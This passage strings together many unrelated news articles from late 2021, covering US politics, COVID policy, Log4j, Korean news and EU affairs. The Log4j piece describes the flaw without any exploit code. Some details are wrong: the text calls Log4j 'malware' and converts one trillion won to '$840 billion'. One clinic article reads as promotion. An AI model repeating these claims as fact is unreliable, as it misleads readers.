indignity that she experienced. Kristen Cabanban, a spokesperson for the city's legal department, revealed that Young's attorney agreed with the settlement. The proposed amount is the city's way of making amends after the embarrassment that they put the Chicago resident through. Chicago Mayor Lori Lightfoot accused of lying But amid the controversy, Chicago Mayor Lori Lightfoot faces backlash for lying about her knowledge of what happened to Young. The mayor previously claimed that she didn't know that a group of police officers raided the woman's home while she was naked. However, emails revealed that Lightfoot's staff sent her an email regarding the incident, according to the Huffington Post. Read Also: Chicago Mayor Lori Lightfoot Accused of Violating Indoor Mask Mandates After Requiring Employees to Get Inoculated Lightfoot has not responded to requests for comment, but she released a statement via her office regarding Young's case. "It is our expectation that on Monday, the Finance Committee will be presented with a proposed settlement for consideration regarding Ms. Young. Out of deference to that process, we will not be commenting further," the statement read via the Chicago Sun Times. Chicago mayor admitted to seeing Anjanette Young's video In another statement, Lightfoot admitted that she saw the horrific video of Young being humiliated by police officers. The mayor also said that she had already made comments following the video's release. Lightfoot said that she's thrilled the matter has already been resolved and said that she hopes the settlement will help Young with the resources that she might need, according to NBC Chicago. According to the Chicago Tribune, someone wrongly tipped the officers about a man living in Young's apartment with an illegal firearm. At the time, Young was already preparing for bed that's why she was naked. Chicago woman could've received $13 to $16 million The publication said that if Young decided to go to trial, she could've received an even bigger settlement. A jury could award her $13 million, which is equivalent to $1 million per officer in her apartment. She could also receive $16 million or $1 million for each second that she was naked. Young's proposed $2.9 million settlement will also add to the city's $662 million payouts on similar misconduct cases since 2004. This amount reached $750 million in 2019. Related Article: 2 Michigan Universities Fire Teachers, Suspend Students Who Remain Unvaccinated; Spokesperson Says No One Applied For Religious, Medical Exemptions @ 2022 HNGN, All rights reserved. Do not reproduce without permission. Another Capitol rioter who has already been in jail for the past 11 months is sentenced to two years and two months in prison. According to reports, Cleveland Grover Meredith Jr. was arrested a day after the Jan. Capitol riot for sending threatening texts to his relatives about his plans to kill House Speaker Nancy Pelosi. Meredith Jr.'s relative informed his mother about the texts, and the matriarch was the one that reached out to the FBI. The Donald Trump supporter's cryptic texts contained an alleged plan to confront Pelosi while she's on the podium giving a speech, and he would put a bullet on her head. Meredith Jr. told his relatives that he wouldn't go to jail for killing Pelosi and would instead be sent to the morgue. He also sent a similar text message to his friend, and the latter encouraged Meredith Jr. to leave the Capitol in peace because this is what Trump would've wanted. The insurrectionist countered his friend's claims by saying that Trump doesn't want his supporters to be peaceful. Instead, the ex-POTUS wants heads, and Meredith Jr. promised to deliver. Meredith Jr. is struggling with his mental health, and those close to him are aware of his issues. His mom encouraged him to seek treatment, but he refused. Read Also: Rep. Lauren Boebert Accused of Weaponizing Anti-Muslim Bigotry, Targeting Fellow Rep. Ilhan Omar; House Democrats Demand Accountability Judge sentences Donald Trump supporter to 28 months in jail Judge Amy Berman Jackson sentenced the Trump supporter by saying that he's a threat to the community and should, therefore, be locked up. Three months prior to his sentence, Meredith Jr. pleaded guilty to one count of felony threats as a plea agreement with federal prosecutors. His cooperation with the FBI was also taken into account during his sentencing. According to Jackson, Meredith Jr's decision to send the threats to his relatives instead of Pelosi herself accounted for something. And the fact that he has been behaving well in prison throughout the past 12 months gave him a lesser sentence. Judge reacts to 2020 election fraud claims The judge also acknowledged all the lies being said about the 2020 election until today. "The heated, inflammatory rhetoric that brought the defendant to the District has not subsided. The lie that the election was stolen and illegitimate is still being perpetrated - indeed, it's being amplified, not only on social media but on mainstream media outlets. Worse, it's become heresy for a member of the [former] president's party to say otherwise," Jackson said via the Huffington Post. Donald Trump supporter defends himself Meredith Jr's lawyer, Paul Kiyonaga, tried to portray his cryptic text messages as hyperbole prior to the sentencing. He also said that his client is known for exaggerating his stories. However, it's unlikely for the 53-year-old to follow through with his threats, according to WUSA9. When Meredith Jr. addressed the court, he also said that his texts contained empty threats and had no intention to follow through. He also admitted to being out of control on Jan. 6. But Jackson insisted that she can't just let Meredith Jr. go. After all, he's also aware that the language that he used wasn't acceptable, according to Politico. Related Article: House Speaker Nancy Pelosi Could Remove Rep. Lauren Boebert From Her Committees This Week Following Her Racist Remarks @ 2022 HNGN, All rights reserved. Do not reproduce without permission. Australia is trying its best to live with the virus by reopening its borders to non-citizens after a two-year entry ban. According to reports, vaccinated skilled migrants and foreign students are now allowed to enter the country despite increasing Omicron cases in Australia. One of the goals for the reopening has to do with Australia's economy, which was badly affected by COVID-19. Australia PM says locals are living with the virus Prime Minister Scott Morrison said that Australians have no other choice but to live with the virus because it's not going anywhere anytime soon. He also said that Australia has one of the highest vaccination rates that's why he's confident that they are doing the right thing. "We're going to live with this virus, and we're not going to let it drag us back to where we've been. We've got one of the highest vaccination rates, which means we can fight this thing. We don't have to surrender to it," Morrison said via NDTV. Morrison also confirmed his upcoming trip to Queensland after getting a negative test result. Last week, the prime minister came into casual contact with a covid-positive patient while at an event. Read Also: Australia Removes Entry Restrictions in 2 Biggest States After COVID-19 Vaccination Rates Reached 90 Percent Australian visitors need to submit COVID-19 tests Australia was supposed to open its borders two weeks ago, but officials postponed it due to Omicron. The country's borders were first closed in March 2020 in an attempt to contain the spread of the virus. According to Daily Mail, Australian visa holders must be fully vaccinated to enter the country. They also need to show a negative Covid test 72 hours after the arrival. Universities Australia chief executive Catriona Jackson said that she's excited to welcome back international students into the country. New South Wales opens borders, eases restrictions This week, New South Wales also lifted most of its restrictions for unvaccinated people even though the state logged over 1,000 new cases of COVID-19 in the past couple of days. Prior to this, there were concerns that reopening borders and lifting entry bans could result in a surge in Omicron cases. After all, there were already 804 Omicron cases in New South Wales on Tuesday. The state also announced that fully vaccinated persons from the eight South African countries no longer need to quarantine for 14 days. But everyone is required to self-isolate for 72 hours. Sharon Lewis, an infectious diseases expert from the Doherty Institute, urged everyone not to be alarmed due to the increasing number of Omicron cases. After all, this is expected due to the variant's high mutation rate. NSW health minister urges locals to get booster shots New South Wales Health Minister Brad Hazzard said that he's alarmed because not a lot of people in the state have gotten their booster shots. But even if this is the case, he said he wouldn't impose a snap lockdown. However, he also pointed out that vaccinated people are hanging out with unvaccinated individuals, so there will definitely be an increase in COVID-19 cases in the country, according to The Daily Star. Related Article: Canada, Australia Detect Travelers With New COVID-19 Variant Omicron; New Travel Restrictions Are In Place @ 2022 HNGN, All rights reserved. Do not reproduce without permission. Sean Hannity and Laura Ingraham recently faced backlash after their texts to Mark Meadows during the Jan. 6 Capitol riot surfaced. Earlier this week, it was revealed that the Fox News hosts knew about the siege but pretended that they had no idea who was behind it. Critics expected the hosts to respond to the backlash shortly after their text messages were made public. However, Hannity and Ingraham both waited over 24 hours before releasing a statement. Hannity and Ingraham stressed that their texts to Meadows were consistent with what they told viewers during their coverage of the Capitol riot. While it is true that Hannity and Ingraham's defense is accurate to some extent, the real problem lies with the fact that they both tried to acquit Donald Trump. The hosts made it seem that Trump's supporters weren't responsible for the siege by spreading conspiracy theories. Hannity also said during his program that he wanted to know who was responsible for the attacks even though he was aware that it was Trump and his supporters. Geraldo Rivera urges Sean Hannity to tell the truth Geraldo Rivera, who appeared in Hannity's show this week, begged the host to recall correctly the events that transpired on Jan. 6. "I beg you, Sean, to remember the frame of mind you were in when you wrote that text on Jan. 6. And when Laura did. And when Brian [Kilmeade] did. And when Don Jr. did. Remember that concern you had. Remember the frustration you had at our beloved 45th president," he said via CNN. Read Also: Chris Christie Blames Donald Trump for Jan. 6 Capitol Riot, Says Insurrection Happened Because Ex-POTUS Refused To Concede Sean Hannity, Laura Ingraham acquitted Donald Trump The publication also pointed out how Hannity and Ingraham continued to acquit Trump of any wrongdoing by attacking House Speaker Nancy Pelosi and Liz Cheney instead. Hannity slammed Cheney for reading the texts before calling her ongoing panel investigation into the Jan. 6 Capitol riot a sham and a witch hunt. He also said that Cheney was doing everything she could to prevent Trump from running in the 2024 election. According to the Los Angeles Times, Ingraham did not support the insurrection, but she also refused to call it as such. On Jan. 6, she told her viewers that the rioters couldn't possibly all be supporters of the ex-POTUS. Mark Meadows communicated with Fox News hosts According to Deadline, Meadows provided the House select committee with thousands of communications pertaining to the Jan. 6 Capitol riot. Trump's former chief of staff initially agreed to cooperate with the investigation. But when the committee refused to grant his request for executive privilege, he did an about-face. Meadows' communication with Trump's eldest son, Donny, was also released earlier this week. The texts revealed that Donny urged Meadows to talk to Trump and ask him to stop the ongoing invasion. Donny told Meadows that Trump should release a statement and make an on-camera appearance in a follow-up text. This communication shows that Donny was also aware that Trump and his supporters were the ones that started the insurrection. Related Article: Mary Trump Explains Why Donald Trump Jr. Texted Mark Meadows, Not Donald Trump To Stop the Jan. 6 Capitol Riot @ 2022 HNGN, All rights reserved. Do not reproduce without permission. Jussie Smollett's shocking revelation regarding the noose that was allegedly used in his attack continues to make headlines. After the "Empire" actor was found guilty on five of six counts of lying to police following an alleged altercation on Jan. 29, 2019, Smollett remains free until his sentencing. According to reports, the actor could face up to three years in prison for staging his attack even though he continues to deny it. Andre Hope weighs in on Jussie Smollett's noose story Following his recent court appearance, the sole black jury that witnessed Smollett give his accounts in front of a judge couldn't help but air some concerns. Andre Hope said he doesn't understand why Smollett would put noose back on his neck to convince police that he was attacked. A noose is a potent symbol of hate that's why Hope said that Smollett's claims were valid. He should've ripped the noose off his neck and not worn it back. Jack Shuler, an associate professor at Denison University, said that a noose is more than just a knot on the rope. According to CNN, he said that the noose is used to kill people, so it is seen as a threat and a violent speech. Hope also said he couldn't make sense of some of Smollett's recollections. "Two o'clock in the morning. Cold outside. When you just use your common sense as what's there, yeah it just, it didn't add up," the 63-year-old said via CBS News. Read Also: Jussie Smollett Attorney Says Actor Plans To Appeal Guilty Verdict in Alleged Fake Hate Crime Scheme Sole Black juror hopes more people like him were tapped Hope revealed that he and his fellow jurors spent over nine hours deliberating on Smollett's case. However, they never disagreed on the verdict. The sole Black juror added that he hopes more people of color were called to testify because they can all handle the truth and give impartial judgment on the case. Hope doesn't also know what Smollett's true motives are for suggesting that he was the target of a hate crime. The actor made such strong allegations shortly after he came out as gay and after he gained even more popularity for playing the role of Jamal Lyon on television. Jussie Smollett denies staging his racist attack During his court appearance, Smollett claimed that he had an intimate relationship with one of the two men that attacked him. The Osundairo brothers previously revealed that the actor paid them $3,500 each to stage his attack. The brothers also released a statement through their lawyers saying that they regret their involvement in the matter. The siblings knew Smollett from "Empire," where they were hired as extras. However, Smollett once again denied paying the brothers to stage his attack. Instead, he argued that he gave them money as payment for his workout program and meals, according to the BBC. The actor also claimed that there was no hoax involved in what happened to him two years ago. But despite his constant denials, the court still found Smollett guilty. It's unclear if the actor would get back to his acting career after he is released from prison. After all, he was axed from "Empire" shortly after his arrest. Related Article: Jen Psaki Calls Jussie Smollett Crime 'Shameful' as Joe Biden, Kamala Harris Mocked for Their Response Over Fake Race Hate Attack @ 2022 HNGN, All rights reserved. Do not reproduce without permission. Northshore Clinical Labs has become a name to trust in the US since the advancement of COVID-19. The lab, based out of Chicago, has performed exceptionally well with its high-capacity testing facilities across the country. The lab has teams of trained professionals all over the country who have tirelessly tested many thousands of people each day. They have run tests in facilities ranging from nursing homes to schools, and summer camps to corporations. Not only tests, but they have also administered thousands of doses of COVID vaccine all over Illinois. The story behind Northshore Clinical Labs started modestly with CEO Omar Hussain almost giving up on the idea of running the facilities due to various constraints. Before giving up, he decided to give it a final try and open the firm's own lab. Northshore Clinical was an existing lab, it was owned by a close acquaintance of a friend. The lab was a small operation, but it was ready to grow, and Omar had right ideas to get it where it needed to be. Northshore Clinical had all licenses required and had been around for over 34 years. By February 2020, Northshore Clinical was bought, and with time the office shifted to a large facility. Omar also had another company called Curis Healthcare that he owns 100% of. This company worked with multiple labs then, and COVID helped it get more contracts. Northshore Clinical was ready by November 2020, and they started testing their first COVID samples. The floor area of 15,000 sq. ft. had a free clinic where anyone could get tested for COVID. The lab grew massively in a short span. They have taken two more offices and are now looking at 50,000 sq. ft. of office space. The rocketing growth meant they are working with Senators, the Illinois department of health, reporting to multiple states, and much more. Now they are working with over 100 nursing homes. Overall, Northshore operates in upwards of 1,000 locations across the USA through third-party operators and that number is growing weekly. They are now able to test tens of thousands of people for COVID every single day. "Northshore is now regularly signing large contracts with international airports, police departments, and reporting to a countless number of senators and state official all across the nation." says Omar Hussain, CEO. This indicates the confidence of the CEO and the stature of the company. They are helping people, and the government contains the spread of COVID by providing early testing of probable COVID cases. The massive number of tests that Northshore is doing every day has been a massive aid to the USA in these trying times. @ 2022 HNGN, All rights reserved. Do not reproduce without permission. The cyber threat Apache Log4j is far from over, as cybersecurity experts found a second vulnerability in the system. As it looks, many malicious actors continue to exploit the Apache Log4j vulnerability. Log4j Exploit: Full Details of the Cyber Attack According to earlier reports, Log4j is a threat that ranks 10 out of 10 on the severity scale. It is a malware that corrupts the foundation of many software and websites running on the internet. Lotem Finkelstein, director of threat intelligence and research for Check Point, told ZDNet that "I cannot overstate the seriousness of this threat. On the face of it, this is aimed at cryptominers but... threat actors will try to exploit (Log4j) in order to attack a whole range of high-value targets such as banks, state security and critical infrastructure." Experts clarified that attackers use this exploit to hack physical servers, virtual servers, IP cameras, manufacturing devices and even attendance systems. Researchers also released a map image showing the countries affected by Log4j exploitation, with the highest number of cases concentrated on the U.S., U.K., Germany and Netherlands. For reference, the Dutch National Cyber Security Center released a list of software affected by the vulnerability, which includes: Adobe Apache BMC Software Dell IBM Micro Focus Unify Cybersecurity experts in these companies are working to repair their systems, and some might have already installed a few countermeasures. Regardless, users are advised to be careful when surfing through the internet, especially in the incoming days. Read Also: Is Shiba Inu Joining Robinhood in 2022? Binance Coin Largest Crypto, SHIB 4th In The World In Terms of Twitter Following Cybersecurity Warning: Apache Log4j Vulnerability However, as previously indicated, experts just discovered a second vulnerability on Tuesday. They call this new vulnerability as CVE 2021-45046. According to the Common Vulnerabilities and Exposure (CVE) website, hackers use this newly discovered vulnerability to "input data using a JNDI Lookup pattern resulting in a denial of service (DOS) attack." This means threat actors would overload a targeted server, often rendering the system invalid. By extension, malicious actors could also input codes to remotely access the database. Once they could get full control, they would data mine all the personal information, login credentials and other information stored on an infected device. Although experts have already released an Apache Log4j 2.15.0 fix against CVE-2021-44228, CVE warned that it is "incomplete in certain non-default configurations" against the new threat. This implies that although some might have downloaded the security fix, they are not safe from the second strain. This prompted John Bambenek, a principal threat hunter at Netenrich, to conclude that "at least a dozen groups are using these vulnerabilities, so immediate action should be taken to either patch, remove JNDI or take it out of the classpath (preferably all of the above)," per ZDNet. He suggested that affected websites should disable their JNDI functionality entirely. The situation is still progressing, and it's hard to determine how many affected websites followed this security protocol. More updates on the issue might be revealed later this week. Related Article: Cybersecurity Warning: Zero-Day Vulnerability in Apache Log4j Discovered in Minecraft, Other Apps Kwon Young-woo's "Untitled" (2000s), left, and "Untitled" (1982) / Courtesy of the artist's estate and Kukje Gallery Kwon Young-woo rejected the distinction between "Eastern" and "Western" art By Park Han-sol Artist Kwon Young-woo / Courtesy of the artist's estate and Kukje Gallery When Korea gained independence from decades-long Japanese colonial rule in 1945, a debate emerged among artists about how to sever ties with the Japanese style of art that had once dominated the country's art scene. Together with attempting to end colonialism's influence on art entirely, some put forth developing a new form of "national" art whether by reverting to Korean traditional practices or by embracing the wave of Western Modernism and abstract art. Kwon Young-woo (1923-2013), a student of Eastern Painting at the Seoul National University in 1946, was one of many artists who was engaged in this tumultuous shift. But from the start, he was convinced that distinguishing between so-called "Western" and "Eastern" art was meaningless. "I thought to myself that paintings are paintings; we shouldn't try so hard to make unnecessary distinctions like 'Oriental' and 'Western,'" he was quoted as saying, adding, "It is more meaningful to start anew than to preserve and inherit tradition." He rejected the conventional ink and wash approach to Eastern painting. Instead, his focus lied solely on working with "hanji," or Korean paper made from the bark of paper mulberry trees, where he explored abstract techniques reminiscent of Georges Braque's paper collages ("Papier colle") and Lucio Fontana's punctured and slashed canvases ("Concetto Spaziale"). Installation view of the exhibition, "Kwon Young-woo" / Courtesy of Kukje Gallery K-pop superstar BTS' mega-hit single "Butter" has topped Billboard's Digital Song sales chart again, giving the South Korean superband a record 46 weeks at No. 1. According to updated Billboard charts on Tuesday (U.S. time), "Butter," released in May, ranked No. 1 on the weekly Digital Song Sales list, marking its 18th time on top of the chart that ranks the best-selling digital songs in the United States. "Butter" tied the record by "Dynamite," the seven-piece act's first English-language song released last year, which also reached the top of the chart 18 times. With the song's latest first-place feat, BTS has stayed atop the chart for a cumulative 46 weeks, outnumbering that of the previous record holder, Taylor Swift. At the same time, BTS' "Butter" regained the No. 1 position on Billboard's Hot Trending Songs chart powered by Twitter thanks to a new holiday remix of the song, released Dec. 3. (Yonhap) The headquarters of Woori Bank in central Seoul / Courtesy of Woori Bank By Anna J. Park Woori Bank, the flagship unit of Woori Financial Group, said Wednesday that it had created an MZ Marketing Team in a bid to attract young customers and secure a sustainable customer base. The new team, launched a few weeks after the bank's privatization, is focused on developing products and services that appeal to younger people. The team consists of MZ Generation employees, including its manager. MZ Generation refers to both Millennials (born 1981-1995) and Generation Z (born 1996-2005) The move is part of the group's strategy to attract customers in their 20s and 30s. The financial group said earlier it will invest more than one trillion won ($840 billion) in developing new comprehensive digital platforms tailored to the needs of the MZ Generation. Group Chairman Son Tae-seung stressed the importance of getting the attention of MZ customers, in his first official message after privatization. Woori was again privatized 23 years after receiving 13 trillion won in government funding amid the Asian Financial Crisis in the late 1990s when the state-run Korea Deposit Insurance Corporation (KDIC) sold its 9.3 percent stake in the group to private equities funds and other financial companies in late November. "The future of Woori Financial is dependent on customers from the MZ generation," said Chairman Son, vowing that the group will streamline and devise new platforms and services for the MZ generation. Woori Bank's mobile banking application is planning to introduce various services, including deliveries and games by the end of this month. While executing small-scale innovations upon its banking platforms first, the financial group will develop the MZ-focused digital platform, which is expected to include wealth management as well as other investment functions. The group's ultimate plan is to incorporate the platform into its own brokerage unit, as the group plans to acquire smaller-sized brokerage companies in the future. "Woori Financial Group is currently examining various tech businesses, ranging from Artificial Intelligence to blockchain in the area of robo-advisor, insuretech and NFT and more, whose technologies could activate the platform," an official from the group explained. According to Woori Finance Research Institute, the MZ generation is expected to account for 60 percent of the working age population (aged 15 to 64) by 2030. Competition between major banks is now focused on attracting young customers to use their services. Do Minh Hanh, a Vietnamese national studying at Yonsei University and the grand prize winner of the video contest hosted by The Korea Times and Embassy of India Thirteen college students have been selected as winners of a video contest hosted by The Korea Times and the Embassy of India in Korea to celebrate India's 75 years of independence. The theme of this year's contest was "Diversity and Multiculturalism." Applicants were required to submit a short video clip addressing the topic, discussing ways to enhance diversity in society and the growing importance of diversity. Do Minh Hanh, a Vietnamese national studying at Yonsei University, won the grand prize for her video describing the definition of diversity, based on her own experience as an international school student and a foreign national in Korea. She will receive a certificate and 1 million won in prize money. Raj Mouli Jujjavarapu, an Indian national at Kyungpook National University, won the Excellence Award for his video portraying the togetherness of students in Korea. Jujjavarapu will receive a certificate and 500,000 won. People waiting to receive a COVID-19 test stand in a long line that snakes outside a public health center in Songpa District, Seoul, Wednesday. Yonhap Daily virus cases hit fresh high of 7,850 By Lee Hyo-jin The government has decided to halt its "return to normalcy" plan and reinstate strong social distancing measures, as the country continues to grapple with its worst ever COVID-19 crisis. The decision comes about six weeks since the implementation of the pandemic exit plan, under which the country was expected to gradually return to normalcy with eased distancing restrictions. "We are taking the current virus situation very seriously and plan to implement tougher social distancing measures," Prime Minister Kim Boo-kyum said during a Central Disaster and Safety Countermeasure Headquarters meeting, Wednesday. "Among the measures currently under review are imposing stronger restrictions on private gatherings and putting limits on the operating hours (of multiuse facilities)," he said, adding that the government will announce detailed measures as soon as possible. Kim noted that in line with the reintroduction of the distancing regulations, the government will come up with appropriate compensation measures for small business owners and the self-employed, who would have to "again endure pain." The detailed measures are expected to be announced Friday and put into effect for the next two weeks through the year's end. Despite criticism from health experts, the authorities had remained hesitant to roll back distancing rules amid snowballing daily new infections, critical cases and deaths in recent weeks. The Korea Disease Control and Prevention Agency (KDCA) reported a record high 7,850 daily new infections for Tuesday, raising the aggregated total to 536,495. Prime Minister Kim Boo-kyum speaks during a Central Disaster and Safety Countermeasures meeting at Government Complex Seoul, Wednesday. Yonhap The vast majority of the new infections were reported in the greater Seoul area with 3,166 in the capital and 2,299 in Gyeonggi Province. The number of patients in critical conditions also marked an all-time high of 946, while the death toll stood at 80, slightly down from the record high figure of 94 the previous day. The KDCA added nine new cases of the Omicron variant, pushing the total caseload to 128, two weeks after the first cases were identified here Dec. 1. The health authorities are conducting genome sequencing tests on 29 additional suspected cases. In order to curb any further influx of the variant from overseas, the government has extended the 10-day mandatory self-quarantine rule for all overseas arrivals for another three weeks until Jan. 6. Under the measures, all inbound travelers, regardless of their nationality and vaccination record, must undergo 10 days of self-quarantine upon entering the country. Korean and foreign nationals with long-term visas will be allowed to isolate at their homes, while foreigners with a short-term visa of 90 days or less should quarantine at a facility designated by the government. Foreign nationals from South Africa, Namibia, Mozambique, Lesotho, Malawi, Botswana, Eswatini, Zimbabwe, Nigeria, Ghana and Zambia will be banned from entering the country until Jan. 6. Meanwhile, the government is striving to vaccinate children aged under 18, many of whom are yet to be inoculated. Prime Minister Kim, Education Minister Yoo Eun-hae, and KDCA chief Jeong Eun-kyeong met with parents and students at a district office of education in Seongdong District of Seoul, Wednesday, to encourage them to receive the vaccine. Regarding the plan to expand the vaccine pass system to teenagers from February, which is facing a fierce public backlash, the education ministry said it was considering either adjusting the details of the plan or postponing its implementation. National Assembly Speaker Park Byeong-seug, sits with other dignitaries during the 29th annual meeting of the Asia Pacific Parliamentary Forum at Conrad Seoul, Tuesday. From left are Ban Ki-moon, president and chair of the Global Green Growth Institute, Park and Rep. Hong Ikh-pyo of the ruling Democratic Party of Korea. Joint Press Corps By Jung Da-min The Asia Pacific Parliamentary Forum (APPF) has adopted 13 new resolutions, including one titled "Peace on the Korean Peninsula," to support South Korea's push for a declaration to officially end the 1950-53 Korean War and a peace accord, as well as its efforts to hold an inter-Korean parliamentary meeting. South Korea hosted the 29th annual meeting of the APPF, held virtually over three days from Monday to Wednesday, for the first time since 1998. Parliamentary representatives from 22 of the APPF's 28 member countries, including Brunei as an observer, participated in the meeting chaired by National Assembly Speaker Park Byeong-seug. Closing the event Wednesday, this year's meeting adopted the 13 resolutions, including the one regarding building peace on the Korean Peninsula. "We, the parliamentarians of the Asia-Pacific Parliamentary Forum (APPF), resolve to recognize efforts of the Republic of Korea to achieve substantial progress in the Korean Peninsula Peace Process, including a declaration on the end of the Korean War and a peace accord, while reaffirming the importance of dialogue and diplomacy as the only solution to achieving complete denuclearization and establishment of permanent peace on the Korean Peninsula," the resolution read. It also said that APPF member countries resolve to "encourage APPF Member Parliaments to engage in dialogue with the DPRK to establish peace on the Korean Peninsula and the Asia-Pacific region, while welcoming efforts of the National Assembly of the Republic of Korea to pursue an inter-Korean parliamentary meeting without any conditions." The DPRK refers to North Korea's official name, the Democratic People's Republic of Korea. Officials of the Assembly had earlier said they had held heated discussions with China, Russia and Japan in three previous APPF-related meetings, before reaching an agreement to incorporate the recognition of South Korea's push for an end-of-war declaration and inter-Korean parliamentary conference in the joint resolution. The APPF's adoption of the resolution on the issue comes amid the Moon Jae-in government's last-ditch efforts to push for the declaration to formally end the Korean War, with less than five months left before President Moon leaves office. During his joint press conference with Australian Prime Minister Scott Morrison, after their summit at Parliament House in Canberra, Monday, Moon said, "The U.S., China and North Korea all showed their agreement on the proposal in principle." Held under the theme, "The role of parliaments in strengthening resilience in the post-COVID-19 era," participants discussed different topics at four major sessions three dealt with each on politics and security, economy and trade, and regional cooperation in the Asia-Pacific region, and the other was the APPF Women Parliamentarians Meeting. The APPF is the world's largest body for parliamentary cooperation equivalent to that of Asia Pacific Economic Cooperation (APEC). President Moon delivered welcoming remarks through a pre-recorded video, while Ban Ki-moon, president and chairman of the Global Green Growth Institute (GGGI), gave a welcoming speech in person. Tony Smith, president of the APPF, delivered congratulatory remarks through a real-time video conference. This image provided by the Defense Acquisition Program Administration shows three types of the K-16 machine guns. South Korea on Wednesday started deploying new 7.62 mm-caliber machine guns to the Army under a project to replace the existing decades-old equipment and reinforce combat capabilities, the arms procurement agency said. The K-16 machine guns will supplant K-3 and M60 guns as a bedrock asset of the military's fire power, the first such replacement in three decades, the Defense Acquisition Program Administration (DAPA) said. The K-16 gun's operational range is 30-percent longer than the K-3 gun and its destructive power is about double that of the K-3, according to DAPA. The military plans to deploy them to all armed services by 2024. The new machine guns will be supplied along with thermal weapon sights, which will allow troops to accurately detect targets even at nighttime or foggy conditions, the administration said. A court on Wednesday ruled that a bioscience question in this year's college entrance exam had errors and ordered the state-run agency responsible for producing the test to cancel its designated answer. The Seoul Administrative Court ruled in favor of 92 examinees disputing question No. 20 of the bioscience part 2 section of this year's College Scholastic Ability Test (CSAT) developed by the Korea Institute for Curriculum and Evaluation (KICE). The examinees argued the question centering around the Hardy-Weinberg equilibrium, a principle related to population genetics, was erroneous and launched a suit against KICE to rescind the agency's designated answer. The court ordered KICE to cancel the answer. KICE insisted last month that the question, while not perfect, was valid, as it was meant to distinguish the level of learning among examinees. Last week, the court ordered the agency to suspend the validity of the question until the suit was settled. (Yonhap) Kim Keon-hee, the wife of main opposition presidential candidate Yoon Suk-yeol, leaves her house in southern Seoul, Dec. 15. Yonhap The wife of main opposition presidential candidate Yoon Suk-yeol said Wednesday she is willing to apologize over allegations she falsified her credentials when applying for jobs. Kim Keon-hee, the People Power Party candidate's wife, has been hit with allegations she exaggerated or falsified her credentials on a resume she sent to Suwon Women's University when applying for a teaching position in 2007. "I am willing to apologize for causing concern to the people," she said when asked by a Yonhap reporter whether she was willing to apologize amid public anger over the allegations Yonhap met with Kim outside her office. She is president of Covana Contents, a cultural contents company. When asked when she plans to start helping her husband's campaign in public, she said, "I don't have anything to share yet." According to cable news channel YTN, which first reported the allegations on Tuesday, Kim's resume stated she served as a director for the Korea Association of Game Industry for three years starting in 2002, when in fact the association was established in 2004. Kim also falsely claimed to have won the grand prize at the Seoul International Cartoon & Animation Festival in 2004, YTN said. Yoon said his wife's comments "appear appropriate." "Even if the ruling camp's attacks are orchestrated and however unfair they feel, if there is anything lacking from the people's perspective and against their expectations, then I think it is right to be apologetic to the people," he told reporters on his campaign trail. Earlier Wednesday, Yoon appeared to get upset when reporters asked him about the allegations surrounding his wife. "If you know anyone who works at a university, ask them how they hire part-time instructors," he said before entering the PPP headquarters, suggesting they are not chosen through a standard selection process. "Don't just listen to what the other side is going on about," he said of the ruling party. "Ask, and then decide how you're going to report." A group of ruling Democratic Party lawmakers, however, raised fresh allegations that Kim lied on another resume she sent as part of a job application to Anyang University in 2013. Kim falsely claimed to have won the top prize in the animation category of the 2004 Korea Content Awards, the group, which included Reps. An Min-suk, Do Jong-hwan, Kwon In-sook and Seo Dong-yong, said. "Upon verifying with the culture ministry, which hosted the awards, the name Kim Keon-hee or Kim Myeong-shin was not listed under any award, let alone the grand prize," one lawmaker said during a press conference, referring to the name she used before it was legally changed. The lawmakers also claimed there was an error in the certificate of employment Kim sent to Suwon Women's University in 2007. The certificate stated she started working for the animation company H Culture in 2003, but in fact the company was established in 2004, according to An. "We will verify Kim's 18 different false academic, career and award credentials one by one," he said. The PPP rejected all the allegations, saying the DP is trying to frame the issue as a "hiring irregularity" when the resume had no effect on the result. "In 2006, part-time instructors were appointed at the recommendation of university professors and other credible people in academia, and resumes were submitted afterward," PPP campaign committee spokesperson Lee Yang-soo said in a statement. "It was different from the hiring process for professors, which was through an open competition." (Yonhap) President Moon Jae-in returned home Wednesday from a four-day state visit to Australia, during which the two countries agreed to expand cooperation on securing stable supply chains. Moon began his visit in Canberra on Sunday where he met with Australian Prime Minister Scott Morrison for a summit on deepening ties in defense, pandemic response and strengthening supply chains with the help of resource-rich Australia's critical minerals. The two leaders also agreed to upgrade the bilateral relationship to a comprehensive strategic partnership on the occasion of the 60th anniversary of formal diplomatic relations this year. (Yonhap) By Carisa Nietsche and Jeff Cirillo Carisa Nietsche Jeff Cirillo By Andrew Hammond December is traditionally a quiet month in international diplomacy, yet a lot is changing in Europe at the moment, politically and economically, as will be showcased at the EU summit of 27 presidents and prime ministers on Thursday and Friday. Much is on the agenda from tackling the pandemic and a surge in the number infections from the Omicron variant; the significant rise in energy prices; and the Russian military build-up along the border with Ukraine. The combined impact of these and other developments threatens to bring a new downturn across the continent with Germany, for instance, teetering on the brink of recession as supply bottlenecks and coronavirus cases are hobbling the economy with the strong recovery initially anticipated in 2022 now a mirage, according to projections published Tuesday by the Ifo Institute for Economic Research. Economics aside, the underlying macro dynamic at the summit is a potentially historic power shift underway in the club of continental leaders that could bring about significant change in the months to come. Exhibit one is the new pro-EU integration German government that took office last week and is already seeking to make the political weather in the continent. This new beginning follows the voting in last week of left-of-center Social Democrat leader Olaf Scholz as Angela Merkel's successor as chancellor, in a coalition that could now bring much change, not just to Germany but also to Europe and the wider world. Exhibit two is the new Quirinale Treaty signed last month by Italian Prime Minister Mario Draghi and French President Emmanuel Macron to bolster bilateral cooperation in Europe. The agreement has drawn comparison with the Elysee Treaty between France and Germany, created to rebuild their relationship after World War II, and could see significantly stronger international cooperation between Paris and Rome in coming years. While these twin changes are perceived broadly positively in Brussels, there are however countervailing forces, mainly in Eastern Europe, that complicate the picture. Exhibit three is the Hungarian government, the only EU administration not to be invited to President Joe Biden's summit of democracies last week, with Budapest blocking Brussels from taking a common position toward the big conference. Moreover, only a few weeks ago, Poland's Constitutional Tribunal ruled that key articles of one of the EU's primary treaties were incompatible with Polish law, in effect rejecting the principle that EU law has primacy over national legislation in certain judicial areas, fueling concerns that Warsaw is heading towards the door, or "Polexit." In this swirl of political tumult, the future of the EU is difficult to decipher given the multitude of views across the continent. This debate could remain blurry for some months to come, potentially at least until May's French election, which could either offer continuity in the form of a Macron second term, or potentially significant change, possibly even a new far-right leader, such as Marine Le Pen, who was the runner-up last time around. At least until this political mist clears in France, Scholz, Draghi, Polish Prime Minister Mateusz Morawiecki and Hungarian Prime Minister Victor 